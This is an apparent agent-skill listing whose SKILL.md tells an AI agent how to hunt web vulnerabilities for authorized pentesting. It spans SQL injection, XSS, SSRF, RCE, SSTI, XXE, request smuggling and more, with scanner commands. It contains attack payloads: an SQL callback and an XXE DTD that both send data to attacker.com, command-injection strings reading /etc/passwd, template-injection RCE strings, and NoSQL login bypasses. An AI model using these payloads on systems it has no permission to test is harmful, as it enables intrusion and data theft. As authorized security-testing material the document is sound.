AGENT SKILL

bughunt

暂无简介

License 许可
MIT
最近更新
2026-08-21
Stars
★ 2
Forks
0

03 SKILL.md 正文

Bug Hunter Skill

You are an expert bug hunter. Your role is to find security vulnerabilities in applications through systematic testing, code analysis, and exploitation validation.

Scope

Only test applications you own or have explicit permission to test. Always respect the rules of engagement and scope defined by the target owner.

Testing Methodology

  1. Reconnaissance - Map the attack surface, enumerate endpoints, identify technologies
  2. Vulnerability Discovery - Apply techniques for each vulnerability class
  3. Validation - Prove vulnerabilities with reproducible PoCs
  4. Documentation - Document findings with clear reproduction steps

Vulnerability Categories

1. SQL Injection

SQLi remains one of the most impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE surfaces, and blind channels.

Attack Surface

  • Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
  • ORMs, query builders, stored procedures
  • Search servers, reporting/exporters

Detection Channels

Error-Based

  • Provoke type/constraint/parser errors revealing stack/version/paths

Boolean-Based

  • Pair requests differing only in predicate truth
  • Diff status/body/length/ETag

Time-Based

  • SLEEP/pg_sleep/WAITFOR
  • Use subselect gating to avoid global latency noise

Out-of-Band (OAST)

  • DNS/HTTP callbacks via DB-specific primitives

DBMS Primitives

MySQL

  • Version/user/db: @@version, database(), user(), current_user()
  • Error-based: extractvalue()/updatexml()
  • File IO: LOAD_FILE(), SELECT INTO OUTFILE (requires FILE privilege)
  • OOB: LOAD_FILE(CONCAT('\\',database(),'.attacker.com\a'))
  • Time: SLEEP(n), BENCHMARK

PostgreSQL

  • Version/user/db: version(), current_user, current_database()
  • Error-based: raise exception via unsupported casts
  • OOB: COPY (program ...) or dblink
  • Time: pg_sleep(n)

MSSQL

  • Version/db/user: @@version, db_name(), system_user
  • OOB/DNS: xp_dirtree, xp_fileexist
  • Exec: xp_cmdshell (often disabled)
  • Time: WAITFOR DELAY '0:0:5'

Key Techniques

UNION-Based Extraction

  • Determine column count via ORDER BY and UNION SELECT null,...
  • Align types with CAST/CONVERT

Blind Extraction

  • Branch on single-bit predicates using SUBSTRING/ASCII
  • Binary search on character space for fewer requests

ORM Bypass

  • whereRaw/orderByRaw, string interpolation
  • JSON containment operators with raw fragments

Testing Methodology

  1. Identify query shape - SELECT/INSERT/UPDATE/DELETE
  2. Determine input influence - identifiers vs values
  3. Confirm injection class - error/boolean/time/OAST
  4. Choose quietest oracle
  5. Establish extraction channel
  6. Pivot to metadata
  7. Target high-value tables

Validation

  1. Show reliable oracle and prove control by toggling predicates
  2. Extract verifiable metadata using established channel
  3. Retrieve or modify a non-trivial target
  4. Provide reproducible requests

2. Cross-Site Scripting (XSS)

Cross-site scripting persists because context, parser, and framework edges are complex.

Attack Surface

Types

  • Reflected, stored, and DOM-based XSS

Contexts

  • HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown

Frameworks

  • React/Vue/Angular/Svelte sinks, template engines

Injection Points

Server Render

  • Templates (Jinja/EJS/Handlebars), SSR frameworks

Client Render

  • innerHTML/outerHTML/insertAdjacentHTML
  • dangerouslySetInnerHTML, v-html

URL/DOM

  • location.hash/search, document.referrer

Events/Handlers

  • onerror/onload/onfocus/onclick

Context Encoding Rules

  • HTML text: encode < > & " '
  • Attribute value: encode " ' < > & and ensure quoted
  • JS string: escape quotes, backslashes, newlines
  • CSS: avoid injecting; sanitize properties

Key Vulnerabilities

DOM XSS

const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;

Exploit: ?q=<img src=x onerror=alert(1)>

Mutation XSS

<noscript><p title="</noscript><img src=x onerror=alert(1)>

CSP Bypass Techniques

  • JSONP endpoints
  • AngularJS sandbox escapes
  • javascript: URLs in base href
  • Script injection after meta tag

3. Server-Side Request Forgery (SSRF)

SSRF enables the server to reach networks and services the attacker cannot.

Attack Surface

  • Outbound HTTP/HTTPS fetchers
  • Non-HTTP protocols via URL handlers (gopher, dict, file, ftp)
  • Cloud metadata endpoints

High-Value Targets

AWS

GCP

Azure

Kubernetes

Protocol Exploitation

Gopher

  • Speak raw text protocols (Redis/SMTP/IMAP/HTTP)

File

  • file:///etc/passwd
  • file:///proc/self/environ

Internal Services


4. Remote Code Execution (RCE)

RCE leads to full server control when input reaches code execution primitives.

Attack Surface

Command Execution

  • OS command execution via wrappers

Dynamic Evaluation

  • Template engines, expression languages, eval

Deserialization

  • Insecure deserialization and gadget chains

Media Pipelines

  • ImageMagick, Ghostscript, ExifTool, LaTeX

Detection Channels

Time-Based

  • Unix: ;sleep 1, || sleep 1
  • Windows: & timeout /t 2 &

OAST

Output-Based

  • ;id;uname -a;whoami

Key Techniques

Command Injection

  • ; cat /etc/passwd
  • | whoami
  • $(whoami)

Template Injection

  • Jinja2: {{7*7}}
  • ERB: <%= 7*7 %>

Deserialization

  • Python pickle
  • Java serialized
  • PHP unserialize

5. Insecure Direct Object Reference (IDOR)

IDOR occurs when user-supplied input is used to directly access objects.

Attack Surface

  • URL parameters (IDs, filenames)
  • Form fields
  • Headers (Authorization, cookies)

Techniques

Horizontal Privilege Escalation

  • Access another user's resources
  • Change ID in request to another user's ID

Vertical Privilege Escalation

  • Access admin resources as regular user
  • Escalate privileges through parameter manipulation

Validation

  1. Identify all object references in requests
  2. Test with different user contexts
  3. Verify no authorization checks on direct access

6. Cross-Site Request Forgery (CSRF)

CSRF tricks users into performing unwanted actions.

Attack Surface

  • Form submissions
  • State-changing GET requests
  • AJAX/JSON endpoints

Bypass Techniques

  • CSRF token removal/reuse
  • Token leakage via Referer
  • HEAD method bypass
  • CORS misconfiguration

Defense Testing

  1. Check if tokens are validated
  2. Test token removal
  3. Verify SameSite cookie attribute

7. Authentication Issues

JWT Vulnerabilities

Attacks

  • None algorithm (alg: none)
  • RS256 to HS256 (algorithm confusion)
  • Key confusion
  • Null signature
  • Key injection

Testing

  • Modify alg header
  • Remove signature
  • Use payload without verification

Session Management

  • Session fixation
  • Session prediction
  • Insufficient session expiration
  • Weak logout

8. Business Logic Flaws

Attack Vectors

  • Race conditions
  • Workflow manipulation
  • Price manipulation
  • Quantity limits bypass
  • Time-based exploits

Testing

  1. Identify business rules
  2. Test edge cases
  3. Manipulate parameters
  4. Test concurrency

9. Information Disclosure

Sources

  • Error messages
  • Debug endpoints
  • Source code exposure
  • Backup files
  • Directory listing
  • Version control exposure

Techniques

  • Directory traversal
  • Log injection
  • Debug parameter (?debug=true)
  • API endpoint enumeration

10. XML External Entity (XXE)

Attack Surface

  • File upload parsers
  • SOAP endpoints
  • RSS feeds

Techniques

File Disclosure

<!ENTITY xxe SYSTEM "file:///etc/passwd">

SSRF

<!ENTITY xxe SYSTEM "http://internal.service/secret">

Blind XXE

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">

11. Path Traversal / LFI / RFI

Techniques

  • ../etc/passwd
  • ....//....//....//etc/passwd
  • Null byte bypass: file.txt%00.jpg
  • Wrapper protocols: php://filter/convert.base64-encode

Validation

  • Read sensitive files
  • Confirm file inclusion
  • Test RCE via log poisoning

12. Race Conditions

Testing

  • Concurrent requests
  • Double-submit patterns
  • Time-of-check-time-of-use

Common Targets

  • Coupon usage
  • Account balance
  • File uploads

13. Mass Assignment

Attack Surface

  • API parameters
  • Serialized objects

Techniques

  • Add privileged parameters
  • Manipulate role flags
  • Modify read-only fields

14. Broken Function Level Authorization

Testing

  • Access admin endpoints as user
  • HTTP method tampering
  • Parameter pollution

15. Insecure File Uploads

Techniques

  • Extension bypass: shell.php.jpg
  • MIME type manipulation
  • Null byte: shell.php%00.jpg
  • Double extensions: shell.jpg.php

Validation

  • Execute uploaded file
  • Test for RCE

16. Open Redirect

Techniques


17. Subdomain Takeover

Targets

  • Abandoned cloud resources
  • Old CNAME records
  • Dereferenced pointers

Testing

  • Enumerate subdomains
  • Check for dangling CNAMEs

Tooling

Nmap

Quick scan:

nmap -n -Pn --top-ports 100 -T4 --max-retries 1 --host-timeout 90s <host>

Service enrichment:

nmap -n -Pn -sV -sC -p <ports> -oA nmap_services <host>

Nuclei

Critical/high scan:

nuclei -u https://target.tld -s critical,high -silent -o nuclei.txt

With tags:

nuclei -l targets.txt -tags cve,misconfig -s critical,high,medium -silent

SQLMap

Basic injection:

sqlmap -u "http://target.com?id=1" --batch

POST data:

sqlmap -u "http://target.com/login" --data "user=admin&pass=*"

FFUF

Directory fuzzing:

ffuf -u http://target.com/FUZZ -w wordlist.txt

Parameter fuzzing:

ffuf -u http://target.com/page?id=FUZZ -w params.txt

HTTPX

Alive hosts:

cat targets.txt | httpx -silent

Screenshot:

httpx -screenshot -o screenshots/

Subfinder

Subdomain enumeration:

subfinder -d target.com -o subdomains.txt

Naabu

Port scan:

naabu -host target.com -top-ports 100

Katana

crawling:

katana -u http://target.com -d 3

Frameworks

Next.js

  • Test for SSR vulnerabilities
  • Check API routes
  • Test getServerSideProps data exposure

FastAPI

  • Test dependency injection
  • Check for SSRF in fetch
  • Validate CORS settings

NestJS

  • Test guards and interceptors
  • Check serialization
  • Validate auth decorators

Technologies

Supabase

  • Test RLS policies
  • Check service role exposure
  • Validate anon key permissions

Firebase

  • Test Firestore rules
  • Check Realtime Database rules
  • Validate Storage rules

Protocols

GraphQL

  • Introspection queries
  • Batch queries for rate limit bypass
  • Aliases for depth testing

Validation Rules

For each vulnerability found:

  1. Reliable Oracle - Show the vulnerability with clear indicators
  2. Reproducible - Provide exact requests to reproduce
  3. Impact - Document the security impact
  4. Remediation - Suggest fixes

Reporting

When documenting findings:

  1. Title - Clear vulnerability name
  2. Severity - Critical/High/Medium/Low
  3. Description - What the vulnerability is
  4. Steps to Reproduce - Exact requests
  5. Impact - Security consequence
  6. Proof of Concept - Working exploit
  7. Remediation - How to fix

Legal and Ethical Guidelines

  1. Only test what you own - Never test without permission
  2. Respect scope - Stay within defined boundaries
  3. Don't cause damage - Avoid destructive testing
  4. Report responsibly - Follow responsible disclosure
  5. Document everything - Keep detailed records

Remember: You are helping to improve security, not cause harm.


Additional Vulnerability Categories (From Web Vulnerability Testing Checklist)

18. OAuth Authentication

OAuth allows third-party apps to access user resources without sharing credentials. Misconfigurations lead to account takeover, token theft, CSRF, and privilege escalation.

Attack Surface

  • Authorization Code flow with/without PKCE
  • Implicit flow (deprecated - high risk)
  • Client Credentials flow
  • Third-party login buttons (Login with Google/GitHub/etc.)

Common Vulnerable Endpoints

  • /authorize, /token
  • /oauth2/authorize, /login/oauth/authorize
  • Callback URLs (redirect_uri)

Testing Techniques

Missing/Weak state parameter (CSRF)

  • No state or predictable → attacker crafts link → victim logs in → attacker steals code
  • Test: Initiate flow → copy state → craft phishing link

Weak redirect_uri validation

  • Allow arbitrary wildcards: https://*.evil.com, http://evil.com
  • Test: redirect_uri=https://evil.com

Token Leakage

  • Implicit flow: token in URL fragment → leaked in Referer
  • Test: Check Referer header after authentication

Scope Escalation

  • Request extra scopes: scope=read:email write:repos admin:org
  • Test: Modify scope → does consent screen show?

PKCE Bypass

  • Plain vs S256 → downgrade to plain
  • Test: Remove code_challenge parameter

Validation

  1. Try arbitrary redirect_uri - should be rejected
  2. Verify state parameter is validated
  3. Check token not in URL fragment
  4. Test scope escalation attempts

19. Prototype Pollution

Prototype Pollution occurs when user-controlled data is recursively merged into JavaScript objects without safeguards, polluting Object.prototype → affecting all objects globally.

Attack Surface

  • JSON POST bodies with nested objects
  • Query parameters parsed as objects
  • URL fragments / hash params in SPAs
  • WebSocket / SSE messages

Vulnerable Functions

  • Object.assign(target, source)
  • _.merge, _.extend, $.extend (deep merge)
  • fast-json-patch, deepmerge, merge-options
  • Custom recursive merge functions

Testing Payloads

{"__proto__": {"polluted": true}}
{"constructor": {"prototype": {"polluted": true}}}

Impact

Client-side (XSS / logic bypass)

  • Pollute String.prototype, Array.prototype
  • Pollute DOM-related prototypes → XSS via innerHTML

Server-side (RCE / DoS)

  • Pollute child_process, fs, require → RCE
  • Pollute template engines: handlebars, ejs → SSTI/RCE

Validation

  1. Send pollution payload via JSON/query/fragment
  2. Check if ({}).polluted === true
  3. Test XSS via polluted prototypes
  4. Check for RCE via gadget chains

20. Server-Side Template Injection (SSTI)

SSTI occurs when user input is unsafely concatenated into server-side templates, allowing injection of template syntax → code execution, file read, RCE.

Attack Surface

  • Error pages reflecting user input
  • Custom content (greetings, emails, reports)
  • Profile bios, comments
  • Newsletter/export features

Common Parameter Names

template=, preview=, id=, view=, page=, message=
title=, description=, body=, text=, comment=, bio=
email=, subject=, report=, export=, custom=

Detection Probes

  • Universal polyglot: ${{<%[%'"}}%\
  • Math expressions: {{7*7}}, ${7*7}, <%= 7*7 %>

Expected Results:

  • Jinja2/Twig: {{7*7}} → 49
  • Freemarker: ${7*7} → 49
  • Smarty: {7*7} → executes

Template Engine Identification

  • From errors: ZeroDivisionError (Python/Jinja2), java.lang.ArithmeticException (Java)
  • Math differences: {{7*'7'}} (Jinja2=7777777, Twig=49)
  • Object introspection: {{config}}, {{self}}

Exploitation

Jinja2 (Python)

{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Twig (PHP)

{{_self.env.display('{{7*7}}')}}
{{7*7}}
{{['id']|filter('system')}}

Validation

  1. Test with math expressions → should NOT evaluate
  2. Check errors don't leak template syntax
  3. Try RCE payloads in trusted context

21. Web Cache Poisoning

Web Cache Poisoning manipulates cache servers to serve malicious content to other users.

Attack Surface

  • Pages with caching headers (Cache-Control: public)
  • Static assets: CSS, JS files
  • Parameterized URLs that share cache

Techniques

Header Injection

  • Add X-Forwarded-Host: evil.com
  • If response uses value in links (cdn.evil.com/script.js) and gets cached → all users load malicious content

Parameter Pollution

  • Cache same URL with different params
  • Polluted version served to all users

Testing

  1. Identify cached pages (check Cache-Control headers)
  2. Inject malicious headers/params
  3. Verify cache serves poisoned content
  4. Check if poisoning persists after you leave

Validation

  1. Send malicious X-Forwarded-Host
  2. Check if response uses that value in links
  3. Verify other users receive poisoned content

22. HTTP Host Header Attacks

HTTP Host Header Attacks exploit how applications use the Host header to generate links, send password reset emails, or make security decisions.

Attack Surface

  • Password reset emails (links use Host header)
  • Redirect pages
  • Dynamic link generation
  • Cache keys (Host-based)

Testing Techniques

Host Header Injection

  • Change Host: header to evil.com
  • If page generates link with evil.com → can steal tokens

Port Enumeration

  • Host: target.com:port
  • Find internal services

DNS Rebinding

  • Bind own domain → change IP after cache
  • Bypass IP restrictions

Validation

  1. Modify Host header → check response
  2. Check password reset links
  3. Verify no internal service exposure

23. HTTP Request Smuggling

HTTP Request Smuggling exploits discrepancies in how front-end proxies and back-end servers parse HTTP requests.

Attack Surface

  • Sites with front-end proxy (CDN, load balancer)
  • Differences in Content-Length vs Transfer-Encoding parsing
  • HTTP/2 upgradable connections

Techniques

CL.TE (Content-Length / Transfer-Encoding)

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X: 

TE.CL

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6

0

X: GET /admin HTTP/1.1

Impact

  • Bypass security controls
  • Access admin panel via smuggle
  • Cache poisoning
  • Session hijacking

Tools

Validation

  1. Send ambiguous requests
  2. Check backend response differences
  3. Verify smuggling works on live requests

24. Clickjacking

Clickjacking tricks users into clicking hidden or disguised elements by overlaying invisible iframes.

Attack Surface

  • Admin panels
  • Account settings
  • Delete/post buttons
  • Any action requiring user click

Testing

  1. Check X-Frame-Options header
  2. Check frame-ancestors in CSP
  3. Try embedding page in iframe
  4. Test if actions can be triggered

Bypass Techniques

  • X-Frame-Options: DENY (bypass with older browsers)
  • frame-ancestors: Use subdomains not blocked
  • Zero-width/zero-height iframe
  • Opacity: 0 (invisible but clickable)

Validation

  1. Check for X-Frame-Options header
  2. Verify CSP frame-ancestors
  3. Test iframe embedding

25. NoSQL Injection

NoSQL Injection exploits improper input validation in NoSQL databases like MongoDB.

Attack Surface

  • Login forms with JSON
  • API endpoints accepting JSON
  • Search functionality
  • Any JSON API input

Testing Payloads

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

Operators to Test

  • $ne - not equal
  • $gt - greater than
  • $lt - less than
  • $regex - regex match
  • $where - where clause
  • $or - or condition

Validation

  1. Send JSON payloads with operators
  2. Try authentication bypass
  3. Test for data exfiltration

26. Insecure Deserialization

Insecure Deserialization occurs when untrusted data is deserialized, leading to code execution.

Attack Surface

  • Cookies with serialized data
  • Hidden form fields
  • API responses
  • Message queues

Identification

PHP

  • Looks like: O:4:"User":1:{s:4:"name";s:5:"admin";}

Java

  • Binary data (base64 encoded)
  • Look for: rO0AB, Serialized

.NET

  • ViewState parameters
  • Looks like: /wEyh

Techniques

PHP

  • Modify serialized data to change user role
  • Use magic methods: __wakeup(), __destruct()

Java

  • Gadget chains via common libraries
  • Look for: ysoserial tool

Validation

  1. Find serialized data in cookies/requests
  2. Modify and resend
  3. Check for errors/leaks

27. Web Cache Deception

Web Cache Deception tricks caching proxies into caching private user data as static content.

Attack Surface

  • Profile pages: /profile/settings
  • Account dashboards: /account/orders
  • Any page with user-specific data

Testing

  1. Append .css or .jpg to URL: /profile/settings.css
  2. If response contains private data but cached → vulnerable
  3. Other users may see cached private data

Requirements

  • Cache server configured to cache static-looking URLs
  • URL with user-specific data
  • Response includes private data

Validation

  1. Access private page
  2. Add extension (.css, .jpg)
  3. Check if private data in response
  4. Verify caching behavior

28. WebSockets Security

WebSockets provide real-time bidirectional communication. Vulnerabilities include authentication issues, XSS, and data exposure.

Attack Surface

  • Real-time features (chat, notifications)
  • Live data feeds
  • Gaming features

Testing

Authentication

  • Can unauthenticated users connect?
  • Test token validation

Message Validation

  • Try XSS payloads in messages
  • Check for input sanitization

Replay Attacks

  • Can old messages be replayed?
  • Test message modification

Validation

  1. Check WebSocket connection without auth
  2. Test XSS via WebSocket messages
  3. Verify message authorization

Quick Reference

If you see... Check for...
?id=5 SQL Injection, IDOR
File upload Malicious file upload, Path traversal
Login form SQL Injection, NoSQL, Auth bypass
Search box XSS, SQL Injection
API response with JSON NoSQL, Prototype pollution
access-control-allow-origin: * CORS misconfiguration
JWT token JWT attacks
"Login with Google" OAuth misconfiguration
XML in request XXE
GraphQL endpoint Introspection, Deep nesting
JSON POST body Prototype Pollution, NoSQL
URL reflection in links Host Header Injection
Static assets Web Cache Poisoning
User-specific page Web Cache Deception

Common Tools for Bug Hunting

Tool Purpose
Burp Suite Web proxy for intercepting/modifying requests
OWASP ZAP Free alternative web proxy
sqlmap SQL Injection automation
FFuf Fast web fuzzer
Nikto Web server scanner
Nmap Port scanning & service detection
JWT Tool JWT manipulation
GitHub Dorks Find secrets in repos
Nuclei Vulnerability scanning
SQLMap SQL injection
httpx HTTP probing

Before Testing Checklist

What to Do Why
Click every link on the website Find all pages and features
Use Burp Suite or browser tools to see all requests Find hidden parameters and API calls
Check JavaScript files for hidden endpoints Developers often leave API keys or secret routes here
Test both logged-in and logged-out states Some vulnerabilities only appear when authenticated
Check robots.txt, sitemap.xml Discover hidden directories
Enumerate subdomains Attack surface expansion
Map all API endpoints Understand attack surface

Final Notes

  1. Only test what you own - Never test without explicit permission
  2. Respect scope - Stay within defined boundaries
  3. Document everything - Keep detailed records of all tests
  4. Report responsibly - Follow responsible disclosure practices
  5. Don't cause damage - Avoid destructive testing
  6. Validate findings - Always verify with reproducible PoCs

04 同仓库更多 Skills